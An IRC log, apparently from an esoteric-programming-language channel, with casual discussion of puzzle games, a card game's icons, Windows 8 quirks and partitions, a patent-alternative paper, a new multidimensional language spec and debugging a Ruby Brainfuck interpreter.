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01:26:37 <shachaf> what's with the whole lord chamberlain theatre censorship thing
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02:39:46 <zzo38> My brother has made a suggestion having to do with the icons for card types of Aberration Hater Card Game.
02:40:15 <zzo38> Which is to use the initial letter but decorate it according to what the full card type is.
02:50:10 <oerjan> ah, dear old loopy, which supports no keyboard shortcuts at all ;_;
02:52:30 <oerjan> maybe it's a side effect of all the non-rectangular topologies its supports.
02:54:11 <oerjan> basically, totally unusable with my new laptop's touchpad.
02:58:35 <oerjan> one of the puzzles in simon tatham's collection
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03:01:19 * oerjan finished a game anyhow
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04:16:06 <zzo38> Do you think this is OK idea for icons of Aberration Hater Card Game, or are there should be the better way?
04:24:03 <zzo38> How do you buy some AY-3-8910?
04:27:50 <zzo38> I didn't quite expect you to
04:27:59 <zzo38> Because first some things have to be designed of it
04:28:06 <zzo38> Such as this things.
04:31:00 <zzo38> Do you know what the card types are?
04:31:14 <shachaf> I don't know anything about this game.
04:32:47 <zzo38> Then you should guess! I already gave you some strange kind of hint a little bit today!
04:38:41 <zzo38> So that you can learn, I suppose. Don't you know some things, such that it is card game, or you don't know that too?
05:11:16 <quintopia> oerjan: loopy is quite a nice puzzle. took me almost 30 minutes just to solve an easy one!
05:12:10 <quintopia> zzo38: once you finish designing it, i will surely give it a look. unfortunately, i have nothing to say about it at present.
05:14:03 <quintopia> oh "Keen" seems to be similar to Kakuro. I think I've seen one like this before on paper.
05:18:39 <oerjan> yeah several of the puzzle have "no trademarks harmed in this collection" names
05:20:31 <oerjan> quintopia: one nice thing about loopy is that many of the different network types have a different flavor in how you solve them
05:21:48 <quintopia> For instance, the 1x1 grid containing only the clue "4"
05:22:57 <oerjan> i don't think that one is in the type menu
05:24:57 <oerjan> hm it's added several new types since my old laptop too
05:34:53 <oerjan> i can certainly understand why it's hard to make a keyboard interface for it.
05:39:58 <quintopia> oerjan: i sure wish there were more visual clues in this game. like changing the colors of numbers whose condition hasn't yet been met, or just outright making the lines adjacent to zeros unclickable.
05:43:16 <oerjan> well the zeros turn red if you try
05:43:35 <quintopia> yes, but i'd rather the edges next to them just be missing
05:43:53 <oerjan> also, you know you can remove edges as well as mark them
05:48:59 <quintopia> how hard would it be to pre-right-click all the zero edges for me :P
05:55:16 <oerjan> i do tend to start with that myself
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06:11:48 <b_jonas> zzo38: tell more about that card game
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06:25:43 <quintopia> yeah the most annoying part is when you close the curve and it doesn't flash and you have to manually go through and check each number to see if it hasn't been covered
06:27:12 <quintopia> maybe if they turned green once they were covered
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06:49:39 <quintopia> holy crap 10x10 triangle took me over an hour
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06:56:48 <zzo38> b_jonas: O, sorry I was downstairs because it is too hot here, but OK I tell you a bit.
06:57:11 <quintopia> Imgur says: " Be forewarned, time has been known to quicken in this realm."
06:57:39 <zzo38> There are five card types: ORDINARY MONSTER ATTACHMENT FIELD CLASS
06:58:54 <zzo38> quintopia: Definition of what?
07:00:10 <zzo38> The idea my brother has had is for example the FIELD type icon is "F" with glass underneath, and ORDINARY type icon has just "O" in a plain font.
07:02:20 <zzo38> As well as "A" with lines bend like paperclips, and "M" with an eye on it.
07:14:18 <zzo38> quicken v.t. to accelerate (as in to quicken one's pace); to restore to life (as in to quicken the dead); to stimulate and rouse; v.i. to become faster; to reach the stage in pregnancy when the fetal movement is perceptible.
07:14:39 <zzo38> That doesn't seem to help much, I suppose.
07:15:17 <quintopia> it's probably the pregnancy one. definitely that.
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07:50:13 <mroman> shouldn't there be some clever way to get O(log n) for access by index in linked lists?
07:50:45 <mroman> (Obviously you can get O(1) index access if you keep a table of node pointers)
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07:51:21 <mroman> which requires O(n) memory overhead
07:52:17 <shachaf> Well, for some data structure that isn't just a linked list, sure.
07:52:57 <mroman> I guess technically you could do it tree-like
07:53:02 <myname> do people actually use skip lists?
07:53:04 <mroman> with a listed-link interface
07:54:49 <mroman> http://codepad.org/dcoOVZpe <- like that
07:56:00 <mroman> you know where it is because
07:56:06 <mroman> even numbers are always left
07:56:35 <mroman> I guess that should be enough to reconstruct the path
07:57:35 <mroman> obviously the number of leaves in each "floor" is 2^n
07:59:01 <mroman> I think it should be possible to express the position as x,y coordinates
07:59:40 <mroman> 5 is >4 & <8 so it's y coordinate is 3.
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08:00:46 <mroman> x coordinate is pretty easy too
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08:00:59 <mroman> then you just need an algorithm that finds a path to that coordinate :)
08:05:03 <mroman> Just trying out new things
08:05:25 <mroman> You just need to divide the index continously by 2
08:05:53 <mroman> which means O(log n) index access isn't that hard to do
08:05:58 <myname> bitshifting saved the world again
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08:27:04 <ais523_> yay, I succeeded in installing and registering VS2010
08:27:20 <mroman> although removing something from that tree-list isn't very cool
08:27:48 <fizzie> ais523_: You can put it in your CV.
08:27:56 <fizzie> "Succesfully installed VS2010."
08:28:07 <mroman> Successfully offline installed VS2010
08:28:27 <mroman> ais523_: you registered it without internet connection?
08:28:29 <ais523_> note I haven't checked that it actually works yet
08:28:42 <ais523_> mroman: I used /this/ connection, the underscorey one, to do the registration
08:28:50 <ais523_> because it's web-based and doesn't communicate directly with VS at all
08:29:07 <ais523_> so I just mentally replaced "copy-and-paste" with "retype" in the instructions
08:30:20 <mroman> I thought you meant that VS itself checks some online database
08:30:31 <mroman> i.e. verifies the code over dem internetz
08:30:35 <ais523_> this is the same method that's meant to work for VS2012, and that I have successfully used with VS2012 before, only the VS2012 registration form doesn't work ("Submit" button does nothing, and editing it to just submit anyway refreshes the page)
08:30:42 <ais523_> mroman: nah, it's all retyping
08:30:48 <ais523_> VS2013 does indeed do what you say
08:30:52 <ais523_> which is why I can't use it
08:30:56 <mroman> so it does a local "checksum" check
08:31:34 <ais523_> this is similar to the way I originally activated Windows itself
08:31:54 <ais523_> only that has "type the numbers into a phone" as the fallback for if it can't make a connection directly
08:32:22 <mroman> Can you still activate Windows 8 via phone?
08:32:33 <ais523_> strangely enough, the activation survived a complete reinstall
08:33:21 <ais523_> also strangely and possibly connected, there is a small partition on the system which Windows won't acknowledge the existence of and Linux can't determine the format of
08:33:41 <mroman> Sounds like OEM recovery partition or something like that
08:33:55 <mroman> My dell has a backup partition
08:34:08 <ais523_> no; a) it's too small, b) I know where the OEM recovery partition is (and both Windows and Linux can both determine its existence, and report on its format)
08:34:30 <ais523_> myname: no, I found /that/ partition too
08:34:48 <ais523_> had to, in fact, this is related to my adventures over the last few days
08:34:49 <mroman> Are those partitions actually on the same disk?
08:34:56 <ais523_> there is only the one disk
08:35:00 <ais523_> which currently has 8 partitions
08:35:09 <mroman> if something wrecks your system hard
08:35:23 <mroman> i.e lets say some virus that wastes your partition table
08:35:34 <ais523_> Windows main, Windows recovery, OEM recovery, EFI, suspicious tiny partition, Linux /, Linux /home, Linux swap
08:35:46 <ais523_> mroman: then the backups are elsewhere, and the system itself is obviously ruined
08:35:59 <ais523_> at least, up to the complete-wipe-and-reinstall point
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08:36:54 <ais523_> I don't see how a second physical disk would help much with this
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08:39:17 <ais523_> actually, #1 thing that annoys me about the Windows interface and can't easily be turned off: you can't right-click on files directly in Explorer
08:39:26 <ais523_> right-clicking affects the selected file, not what you clicked on
08:39:35 <ais523_> so you first have to left-click to select it, then right-click it to open the context menu
08:41:37 <mroman> obviously the way to go is a ROM-OS
08:41:48 <mroman> that way nothing can wreck it :)
08:42:22 <myname> yeah, it just needs to be perfect and has drivers for everything ever built
08:42:49 <fizzie> Yeah, Windows has that thing.
08:42:52 <fizzie> http://sprunge.us/QaMd #3 here.
08:43:17 <ais523_> btw, EFI itself actually seems mostly well designed, apart from some questionable decisions about file formats
08:43:26 <ais523_> OTOH, it is normally horrendously misconfigured
08:43:37 <ais523_> and most EFI systems do not allow the user to configure them correctly
08:44:28 <fizzie> In fact, #1 is also some sort of a Windows recovery thing.
08:45:06 <mroman> You can't right-click?
08:45:25 <ais523_> mroman: you can, but you have to left-click first
08:46:02 <ais523_> mroman: if you open up a directory in Explorer (the default directory viewing thing), then right-click on a file
08:46:06 <ais523_> you will get the context menu for the directory
08:46:15 <b_jonas> ais523_: on the partition, could it contain boot loader early stage data?
08:46:32 <ais523_> b_jonas: no, that's what the EFI partition is for
08:46:43 <b_jonas> ais523_: for a past boot loader you're no longer using?
08:46:55 <ais523_> you learn a lot about this sort of thing if you have to manually configure a bootloader without docs
08:47:09 <mroman> what version of windows are you on?
08:47:16 <ais523_> on an EFI system, bootloaders must run from a FAT32 partition, and the suspicious partition is not FAT32
08:47:22 <ais523_> it's in no format Linux recognises
08:47:37 <mroman> If I right-click on a file, I get the context menu of that file
08:47:40 <fizzie> http://sprunge.us/SWej -- whoa, 24 megs.
08:47:42 <b_jonas> sure, I do that too, but do it only with grub-legacy (and isolinux, in the past, loadlin). I see no reason to change to grub2.
08:47:52 <mroman> even if I left-click-selected a subdirectory in that directory
08:48:05 <b_jonas> ais523_: oh, it's an EFI system?
08:48:21 <mroman> You mean explorer.exe?
08:48:29 <mroman> not some metro-style explorer thingy?
08:48:39 <ais523_> mroman: yes, this is the desktop
08:48:40 <b_jonas> ais523_: make backups, try to write all-zero to the partition, reboot, see what breaks?
08:48:42 <ais523_> b_jonas: all Windows 8 systems are EFI
08:48:46 <mroman> Your explorer is broken
08:49:03 <mroman> I can't remember any Windows version where right-clicking behaves the way you describe it to me o_O
08:49:06 <ais523_> b_jonas: I'd rather not do that, given how much trouble I'd gone to to get this working
08:49:24 <b_jonas> ais523_: I assume you've looked at the partition raw data, right?
08:49:27 <mroman> right-clicking on a file chances selection
08:49:31 <ais523_> b_jonas: no, because I'm not that curious
08:49:44 <mroman> I can even make a video of it if you want
08:49:45 <ais523_> mroman: huh, if I have a different file selected
08:49:53 <ais523_> then right-clicking on some other file does change the selection
08:50:06 <ais523_> in fact it's started working as I expect now
08:50:24 <b_jonas> ais523_: huh... looking at a hexdump is around the first thing I'd have done
08:50:26 <mroman> of course it changes the selection
08:50:43 <mroman> otherwise something is really broken
08:50:49 <b_jonas> it could even be an unused all-zero partition someone's created at some point but never used
08:50:51 <fizzie> You don't have to look at a hexdump because other people have done it already: http://en.wikipedia.org/wiki/Microsoft_Reserved_Partition
08:50:53 <mroman> or maybe it's a folder option of windows
08:50:57 <mroman> but it's not the normcase
08:51:02 <ais523_> mroman: actually, it seems to work as you describe, except when I just opened the folder
08:51:06 <ais523_> in which case it works as I described
08:51:13 <b_jonas> what size is the small partition?
08:51:33 <mroman> ais523_: I can't reproduce that :)
08:51:56 <ais523_> 128 MB seems reasonable given the circumstances
08:52:38 <fizzie> b_jonas: It's 32 MB for disks less than 16 gigs.
08:57:11 <ais523_> hmm, it currently seems about 50:50 whether I shut down Windows 8.1 using the Settings charm, or using the context menu on the start button
08:57:35 <ais523_> probably depends on whether I've been doing something Windows 8-specific recently
09:09:01 <ais523_> one thing that amused me during the troubleshooting was to see Windows' opinion of the Linux bootloader
09:09:12 <ais523_> it interpreted it as an unspecified firmware application
09:09:18 <ais523_> which I guess, from Windows' point of view, it is
09:20:01 <b_jonas> what's the "Settings charm"?
09:21:26 <ais523_> basically, Windows 8 has a very global main menu
09:21:40 <ais523_> power off is under "settings" for some reason
09:21:57 <ais523_> you access the charms menu by moving your mouse to the top-right corner, then down the edge
09:31:07 <fizzie> ais523_: I didn't know that the context menu on the start button has that option.
09:31:22 <fizzie> Not that I'm certain I'll remember to use that.
09:31:33 <ais523_> fizzie: I remember when I was buying this computer
09:31:39 <fizzie> (Also I access the charms menu by going to the bottom-right corner, and then moving up a little.)
09:31:45 <ais523_> I showed the start button context menu to the salesman, who was impressed
09:31:53 <ais523_> it's also there in Windows 8, which doesn't even have a start button
09:31:59 <ais523_> you have to right-click the bottomleftmost pixel of the screen
09:32:08 <fizzie> I did learn about the Win-x shortcut, which has been helpful.
09:32:14 <quintopia> i didn't even realize the start button had a context menu. that's a lot of useful options
09:32:27 <ais523_> quintopia: hardly anyone does, it seems
09:32:48 <mroman> Windows 8.1 doesn't have a start button either
09:32:57 <mroman> but it just switches to metro
09:33:30 <mroman> I didn't know that it had a context menu
09:33:49 <ais523_> mroman: I was careful to say "start button", not "start menu"
09:33:54 <ais523_> and it doesn't switch to metro, it opens the start screen
09:34:03 <ais523_> which is kind-of ugly and badly designed, but not itself a metro program
09:34:14 <ais523_> just it's designed to look like a metro program, rather than like a desktop program
09:34:26 <mroman> it's even worse when apps look like metro-style
09:34:31 <mroman> but are actually regular desktop programs
09:35:10 <b_jonas> what, like visual studio? or more like that?
09:35:33 <ais523_> visual studio doesn't look metro at all
09:35:43 <mroman> or maybe that just happens when you open a metro program from the taskbar shortcut
09:36:10 <ais523_> mroman: you can distinguish by clicking the top-left corner
09:36:12 <mroman> the "open with" dialogue in 8.1
09:36:28 <ais523_> that goes back to the previous app you were using; the entire desktop and everything on it counts as one app
09:36:39 <mroman> I think "open with" is a metro-style dialoge
09:36:42 <mroman> no close button nothing
09:37:38 <quintopia> ais523_: have you heard that biologists have recently proved Turing's theory about formation of fingers in embryos?
09:37:38 <fizzie> http://netcrew.asm.fi/ I like graphs where you can see cycles like that.
09:37:49 <ais523_> quintopia: I didn't know Turing theorized that
09:38:10 <quintopia> http://esciencenews.com/articles/2014/08/01/a.mathematical.theory.proposed.alan.turing.1952.can.explain.formation.fingers
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10:42:49 <HackEgo> [wiki] [[Befunk]] http://esolangs.org/w/index.php?diff=40231&oldid=40189 * Quintopia * (+0) misplaced parens
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12:01:53 <mroman> my phone doesn't have enough memory to update whatsapp
12:05:34 <mroman> you can't install whatsapp on the sd card
12:15:33 <TieSoul> damn, the code for my new arbitrary-dimension language is around the most complicated code I've ever written :P
12:16:20 <TieSoul> mostly because I want it to be compact. Otherwise I could probably do it much less complicatedly
12:18:13 <Melvar> Was this arbitrary-dimension code, stack data?
12:18:25 <myname> you can if you really want to
12:24:06 <TieSoul> Well anyway, it's the most complicated code I've written because I haven't been programming for a very long time :P
12:24:16 <TieSoul> I started less than a year ago
12:28:04 <Melvar> No, but you didn’t answer my question.
12:28:37 <TieSoul> I don't get your question :S
12:29:34 <Melvar> Whether the language has arbitrary-dimensional code while using a stack for runtime storage.
12:31:56 <Melvar> Unless you have something particularly arcane, the bounding box of the instructions should suffice to hold them.
12:38:54 <TieSoul> I really don't get what you're saying
13:15:53 <mroman> arbitrary-dimensional like 2D-languages?
13:16:52 <mroman> is there a 3D language whose 2D-subset isn't turing complete?
13:17:56 <mroman> obviously there are 2D languages whose 1D subset isn't turing complete
13:19:19 <mroman> dumb question. I can construct one
13:19:36 <mroman> just make conditional branches jump upwards in Z direction
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13:56:01 <myname> mroman: i'll just drop y then
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14:48:47 <vifino> Anyone got an brainfuck optimiser? I mean, +-+. becomes +.
14:52:02 <elliott> most compilers have one built in, though often not in a form that trivially converts back to BF
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17:53:52 <zzo38> I read this article in Science magazine vol.323 that has the suggestion of a replacement of the patent system with a "markets system", which is said to perform better, and avoids monopoly rights and other problems (including ones they cause, such as suboptimal production).
18:01:37 <zzo38> As far as I can tell, the patent system has only one advantage, which is that the document is posted into the patent archives, but is in all other ways inferior. (This is not mentioned in the cited article.) But maybe it can be corrected by having a markets system with archives.
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18:09:24 <int-e> I just can't wait for high frequency IP trades.
18:10:06 <TieSoul> alright, I've completed my arbitrary-dimensional language.
18:11:46 <int-e> (hmm, actually, L^*)
18:13:08 <int-e> zzo38: is it about IPXI (cf. http://www.wipo.int/wipo_magazine/en/2014/01/article_0005.html) or something else?
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18:15:15 <zzo38> I don't know that one actually, but this article is by Debrah Meloso, Jernej Copic, and Peter Bossaerts, and at the end in the reference it says "10.1126/science.1158624"
18:16:55 <zzo38> It also mentions http://jmarkets.ssel.caltech.edu/ which might have the information?
18:21:50 <zzo38> System in this article has no monopoly since the solutions are all in the public domain. If more than one person find it, whoever has a better way will get paid more usually, therefore there is the incentive to make improvement and therefore better production.
18:22:30 <int-e> ok, I've got the 2009 paper.
18:23:11 <int-e> http://www.sciencemag.org/content/323/5919/1335.full.pdf <-- wants registration, or an institution-wide subscription, I used the latter.
18:28:49 <zzo38> It does say that this new system might not be effective in some circumstances, but probably that can be fixed too I suppose.
18:35:28 <TieSoul> http://bpaste.net/raw/KDtQCWR8A5M1TRqRWMY2/ < Specification (not really, but not sure what to call it otherwise) for my new language.
18:36:14 <zzo38> TieSoul: Probably you should make the post in esolang wiki; if you don't know what to call it yet you could make a subpage of your user page, and then move it once you have the proper name of it.
18:36:34 <coppro> what is "one two-dimensional coordinate higher"?
18:36:43 <coppro> what does this mean in one-dimensional or three-dimensional space?
18:37:10 <TieSoul> It says that it does not apply in one-dimensional space iirc
18:37:51 <TieSoul> 2D coord of one line is 1, one higher is 2.
18:38:14 <TieSoul> it means basically that the line succeeds the previous in 2D space.
18:38:17 <coppro> { and } are incorrectly specified
18:38:38 <coppro> you specify that the interpreter will wrap, but you don't have bounds
18:38:57 <TieSoul> Keep in mind this is not the final specification
18:39:33 <coppro> what is the difference between buffered and non-buffered input?
18:40:17 <TieSoul> the storage is a "right-unbounded one-dimensional array" as specified above.
18:40:47 <coppro> The way you handle deltas, in particular the V instruction, is odd and smells of trying to be too funge-like without actually being funge-like
18:41:17 <TieSoul> I'll be sure to be much more detailed in the final specification. And I tried to not let myself be influenced by Funge too much.
18:42:01 <coppro> V is weird because it's the only one that can set a vector other than a standard basis vector or its negation
18:42:25 <coppro> and using any other instruction afterwards to change the IP is going to reset it to a standard basis/negation
18:42:30 <int-e> zzo38: oh my what a ludicrous paper. they set up a hilarious experiment where traded goods directly correspond to the modeled invention (so by watching the transactions, one can derive information about the best solution, which leads to more discoveries of that same "invention"), and then pretend that this somehow applies transfers to real inventions without any justification whatsoever.
18:42:53 <int-e> (and yes, jMarkets is related)
18:42:56 <coppro> Also, what does an input line specification actually do?
18:43:14 <coppro> is the list of coordinate a starting place or a delta? Where is the other determined? What happens if there's overlap?
18:44:28 <TieSoul> it's the starting 2+D coordinates of the line.
18:44:57 <TieSoul> the delta is [1, 0, 0...] at the start
18:45:07 <TieSoul> the starting point is always [0, 0, 0...]
18:45:22 <TieSoul> Overlap means the last line gets used.
18:45:28 <int-e> zzo38: It is an interesting experiment that they performed ... but I have NO idea what it models. All the claims that this is related to innovation is pure speculation.
18:46:20 <TieSoul> All lines are padded to equal length.
18:46:35 <TieSoul> If a line is unspecified and the IP tries to move through it, it wraps.
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18:50:09 <TieSoul> Also, the sample program is wrong
18:50:22 <TieSoul> the third line should have 1,0,1 as its coordinates, not 0,0,1.
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19:29:23 <impomatic_> 4.7% of vintage computing items on eBay are described as "rare"
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19:45:50 <HackEgo> [wiki] [[Special:Log/newusers]] create * Threeifbywhiskey * New user account
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20:05:44 <HackEgo> [wiki] [[Braille]] M http://esolangs.org/w/index.php?diff=40232&oldid=39023 * Threeifbywhiskey * (+118) Add link to C interpreter, remove Unimplemented category
20:07:01 <zzo38> int-e: Apparently it is similar to an older system which works even outside of experiments though, but I do not really know much about such older system and cannot say what exactly it is applicable to.
20:07:52 <HackEgo> [wiki] [[Braille]] M http://esolangs.org/w/index.php?diff=40233&oldid=40232 * Threeifbywhiskey * (+6) Replace "Hello, world!" program with one that works
20:09:11 <Bike> oh hey, there's a comic called "How I Became a Pokémon Card".
20:09:26 <zzo38> Who is "I" refering to, here?
20:09:56 <Bike> How I Became a Pokémon Card is a manga created by Kagemaru Himeno, who is also an artist for the TCG. While the manga includes some reoccurring characters, each chapter is mainly a standalone story featuring one Pokémon, such as Dratini or Jolteon. At some point within each story an image of an actual Pokémon card is shown, the stories expand on the image that appears on the card and tells about what the Pokémon is doing in the ...
20:10:03 <Bike> ... picture or how it got there.
20:13:51 <vifino> Anyone with Ruby and brainfuck experience can help me fix my brainfuck parser? http://hastebin.com/izazegebem.rb
20:14:59 <Bike> why do you save the pointer? if it doesn't scope properly you're just going to overwrite w instead of p and it won't matter
20:15:04 <elliott> your wrapping condition is off-by-one, for one.
20:15:10 <elliott> but you haven't told us what problem you're having
20:15:31 <elliott> I guess it's off-by-one twice. so it's off by two
20:16:09 <shachaf> "-" is implemented with a +
20:16:24 <shachaf> > is identical to +, incrementing a[p] rather than p
20:16:25 <lambdabot> <hint>:1:18: parse error on input ‘,’
20:16:47 <elliott> I'm not sure "while foo do" is even the correct syntax.
20:17:19 <shachaf> I don't think the behavior of [ is correct.
20:17:21 <Bike> i don't know ruby so all the semicolons seem weird
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20:29:50 <vifino> Okay, new file http://hastebin.com/kamuzocika.rb
20:30:07 <vifino> A bit more descriptive, as in, shows my problem case
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20:36:22 <TieSoul> so I made a 99 bottles of beer program for my new language :P
20:37:45 <TieSoul> http://bpaste.net/raw/5ZoE59XwXfOkyOj6zb2n/ yay
20:38:06 <J_Arcane> I believe the classical order of test applications goes: "hello world," 99 bottles, factorial, an editor, email, a half-completed LISP.
20:38:21 <vifino> elliott: Know anything?
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20:40:08 <TieSoul> http://bpaste.net/raw/vAeiYiOjSN50Nu4w7dh3/ <fixed
20:40:14 <TieSoul> don't quite know what happened there
20:40:33 <elliott> vifino: I know some things.
20:40:51 <elliott> also, your wrap around cases are now off by three.
20:41:18 <elliott> you corrected the upper bound in the wrong direction :P
20:41:35 <elliott> it should be 256, not 254. and -1, not 0.
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20:42:35 <vifino> Thats the 'new' version: http://hastebin.com/getinuvovo.rb
20:44:17 <TieSoul> the w variable isn't needed anymore in the when "[".
20:44:34 <TieSoul> just a small thing I immediately noticed :P
20:46:02 <TieSoul> seems pretty similar to Python.
20:46:26 <elliott> I don't know what's wrong with it. it looks okay to me now
20:47:03 <vifino> What comes out is just...
20:47:05 <vifino> "H\x02\t\t\f\xE6\x00\xA9\xAC\xA6\x9E
20:47:15 <vifino> ( escaped, because unicode )
20:47:15 <idris-bot> (input):1:8: error: expected: "!!",
20:51:13 <Bike> http://pastebin.com/9khsXU37 suddenly, sgeo
20:53:08 <TieSoul> wait, there's a ##airconditioning?
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21:32:13 <vifino> http://hastebin.com/ekoyoranak.rb
21:35:09 <quintopia> i know not the ways of ruby. you should wait for boily. boily is the ruby.
21:35:47 <vifino> "boily is the ruby" 10/10
21:47:00 <elliott> you should be doing wrapping on increment and decrement.
21:47:11 <elliott> you're doing double wrapping.
21:47:20 <elliott> and the wrapping for + and - is wrong.
21:47:31 <elliott> str+="if a[p]<=0 then;a[p]-=1;end;"
21:47:37 <elliott> this one should be easier to spot the problem with than the other one.
21:49:15 <elliott> tell me what that code does in English
21:49:17 <Bike> negative numbers only, huh? avant-garde
21:49:20 <elliott> like, just read out the logic of that if.
21:49:30 <elliott> seriously, this is a bug you can solve yourself :p
21:49:43 <elliott> or not english. any language, really
21:50:00 <Bike> good language, lots of speakers, long literary tradition
21:50:02 <elliott> sure. spanish. I read all my code in spanish
21:50:35 <Bike> clearly the real problem with programming is that you don't have to think about what you're doing to translate.
21:50:37 <elliott> vifino: anyway, here is the wrapping logic: when a value would go below 0, it instead becomes 255. when it would go above 255, it instead goes below 0.
21:50:52 <elliott> your current code mismatches that in several ways, but implementing that logic directly should be simple enough
21:51:06 <elliott> you also don't need the (incorrect) wrapping logic for every instruction. just the ones that change the value (+ and -)
21:51:25 <elliott> (for instance, - on 0 should give 255, not 0)
21:51:54 <elliott> (+ on 255 should give 0 not 256 (though you immediately overwrite that), and especially + on 256 should not give 257 :))
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22:07:41 <Sgeo> I think I finally kind of understand arrows! http://www.reddit.com/r/haskell/comments/2ccbnz/attempting_to_create_a_new_monad_dsl_need_help/
22:21:23 <FreeFull> Sgeo: Do you understand profunctors?
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22:34:44 <Sgeo> Um.... I should. I did at some point in the past, trying to port ekmett's lens suggestions into Racket
22:34:55 <Sgeo> p a b, (->) is a profunctor
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22:49:20 <oerjan> <quintopia> yeah the most annoying part is when you close the curve and it doesn't flash and you have to manually go through and check each number to see if it hasn't been covered <-- you know, i don't recall having that problem. * cackles evilly.
22:50:56 <oerjan> i think maybe it helps if you are careful with removing edges as well as marking them.
22:51:44 <oerjan> because when you do that, you _will_ get a red mark eventually on incorrect numbers.
22:54:00 <oerjan> so for me, the annoying part happens when the things i have marked/removed already seem to force an erroneous move, because then a lot of backtracking may be necessary to find the error.
22:55:23 <oerjan> and of course, the annoying but also exciting case when you can find no local information and need to do large global reasoning.
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23:02:34 <Melvar> oerjan: The one I like best is when one option would force the puzzle to be ambiguous, so by the guaranteed nonambiguity you can exclude it.
23:03:05 <oerjan> i very vaguely consider that cheating if i can avoid it
23:04:21 <oerjan> some puzzles in the collection either don't have unambiguity or have an option to turn it off.
23:07:48 <Melvar> I find it a fun metay argument.
23:09:07 <oerjan> i guess i sometimes use it to show that an option must be wrong, but still seeking for a different piece of evidence.
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23:11:03 <oerjan> damn i wanted to speed through 10 by 10 triangles and now i've made an error.
23:11:16 <boily> fungot: what is oerjan talking about?
23:11:17 <fungot> boily: the fnord is basically " looking ahead" to figure out how
23:12:21 * oerjan finds a fishy move he did
23:12:37 <oerjan> boily: simon tatham's loopy puzzle
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23:13:19 <boily> I'll have a look into that later.
23:20:13 * oerjan takes the chance on correcting a fishy mark rather than backtracking to it
23:22:19 * oerjan vaguely recall there was a pattern about 1's around a center
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23:29:22 <oerjan> (there was no patterns about 1's, i think that may have been another geometry.
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23:50:29 <oerjan> @tell ais523 <ais523_> hmm, it currently seems about 50:50 whether I shut down Windows 8.1 using the Settings charm, or using the context menu on the start button <-- huh, i've been going via ctrl-alt-del
23:51:38 <boily> the best way to shut down a computer is by using your toes.
23:52:17 <oerjan> well _normally_ either the power off button or just shutting the lid does what i want, but when i want to reboot i use ctrl-alt-del
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23:53:04 <oerjan> actually reboot after installing updates, which does _not_ seem to be on the start menu right click
23:53:45 <oerjan> and i cannot find any power off in the settings charm
23:54:51 <boily> I need to find a medium-sized penguin plushie...
23:55:45 <oerjan> oh wait it's there, it's just marked "strøm", which means "power" but gives me the intuition of "power settings", not "power off". although the icon works the other way i guess.
23:56:44 <oerjan> (incidentally norwegian "strøm" can be translated as either "power" or "current", should confuse physicists)
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23:57:56 <oerjan> although it's not the correct word for being precise about the thing you measure in watts
23:58:08 <oerjan> (that would be "effekt" iirc)
23:59:42 <oerjan> oh and the physicists will also appreciate that no:kraft can be translated as either en:power (again) or en:force.
00:00:24 <oerjan> no:effekt, in addition to en:power, also corresponds to en:effect, of course.
00:01:08 <boily> en:"power settings" would be fr:"consommation énergétique". énergie would be joules, whereas puissance'd be watts.
00:02:26 <oerjan> boily: windows seems to use "strømalternativer" for that menu
00:02:56 <boily> no:alternativ is en:setting? interesting.
00:03:04 <oerjan> no, it's really more like option
00:03:23 <boily> oh. hm. well. makes sense.
00:05:39 <oerjan> so to sum up: en:power -> no:effekt, no:strøm or no:kraft, where those are also physical dimensions measured in watt, ampere and newton, respectively.
00:06:45 <oerjan> oh there's also no:makt, which isn't physics related but which politicians like to have
00:08:15 <fizzie> Teho, (sähkö)virta, voima, valta.
00:08:42 <boily> puissance, courant, force, and I don't know about the fourth one.
00:09:11 <boily> (puissance again???)
00:09:46 <fizzie> You don't measure en:power in amperes and newtons either, since those are the units for current and force, to be fair.
00:10:18 <oerjan> fizzie: that was, like the joke.
00:10:52 <fizzie> Well, it's not like I read it.
00:11:04 <boily> every physical measurment is the same in Norwegian. oerjan is the Grand Unificator.
00:11:49 <oerjan> http://fr.wiktionary.org/wiki/puissance_politique looks like it's at least used for politics somehow...
00:11:56 * oerjan cannot actually read that page
00:12:49 <oerjan> oh wait http://fr.wikipedia.org/wiki/Pouvoir_politique
00:13:21 <oerjan> which has no english interwiki but has http://no.wikipedia.org/wiki/Politisk_makt
00:13:33 <oerjan> i say pouvoir is better, then
00:14:21 <boily> pouvoir politique is more common, although there's also influence politique.
00:15:22 <coppro> what's the standard unit of political power?
00:15:25 <oerjan> https://en.wikipedia.org/wiki/Power_(social_and_political) has all the right interwikis
00:15:50 <oerjan> coppro: the bismarck hth
00:27:01 <fizzie> For your edification, esolangs.org daily traffic (in megabytes) for last week: http://goo.gl/gOe61K
00:27:32 <boily> what do the colours mean?
00:27:40 <fizzie> Uh, with "in" as the darker blue and "out" as the lighter. I forgot I didn't add a legend.
00:27:49 <fizzie> The chart url api is nasty, anyway.
00:28:40 <fizzie> (It's not all wiki traffic, that's the whole thing from the VPS.)
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00:51:08 <oerjan> <impomatic_> 4.7% of vintage computing items on eBay are described as "rare" <-- well it could be true as long as they're all different
00:52:23 <boily> there should be a standard Rare Vintage Computing Block. it doesn't do anything. it's rare, it's vintage, it computinges, and it has ISO metric dimensions.
00:55:15 <zzo38> Do you know how to get AY-3-8910 or anything compatible?
00:56:46 <boily> from google images, I guess it's for sound generation.
01:10:34 <zzo38> Yes, AY-3-8910 is sound chip
01:10:45 <zzo38> It also has two 8-bit I/O ports
01:19:39 <boily> can't it be bought on digikey or suchlike?
01:24:27 <zzo38> The company no longer makes it I think; there may be clones but I don't know exactly which one, and what is best.
01:26:31 <zzo38> I wanted to see if I can do something like this: http://wiki.nesdev.com/w/index.php/User:Zzo38/Mapper_A
01:28:37 <zzo38> Of course I have not tested this but I have read the datasheet for AY-3-8910 and believe it would probably work.
01:34:53 <boily> well, as they say, all is well that a bird in the bush is worth two times three is forty-two.
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02:08:27 <HackEgo> cazador: ¡Bienvenido al centro internacional para el diseño y despliegue de lenguajes de programación esotéricos! Por desgracia, la mayoría de nosotros no hablamos español. Para obtener más información, echa un vistazo a nuestro wiki: http://esolangs.org/. (Para el otro tipo de esoterismo, prueba #esoteric en irc.dal.net.)
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03:06:45 <HackEgo> [wiki] [[Braille]] http://esolangs.org/w/index.php?diff=40234&oldid=40233 * Oerjan * (+2) reorganize external resources, cat
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16:27:41 <oerjan> cool, the word "barge" apparently comes from ancient egyptian
16:29:28 <Bike> wouldn't touch that etymology with a ten foot pole
16:30:04 <int-e> how about a 10'2" mapole?
16:34:12 <fizzie> Assemblyhelloes this day too.
16:34:35 <int-e> darn. I should have written "/me barges in with a 10'2" mapole". too late...
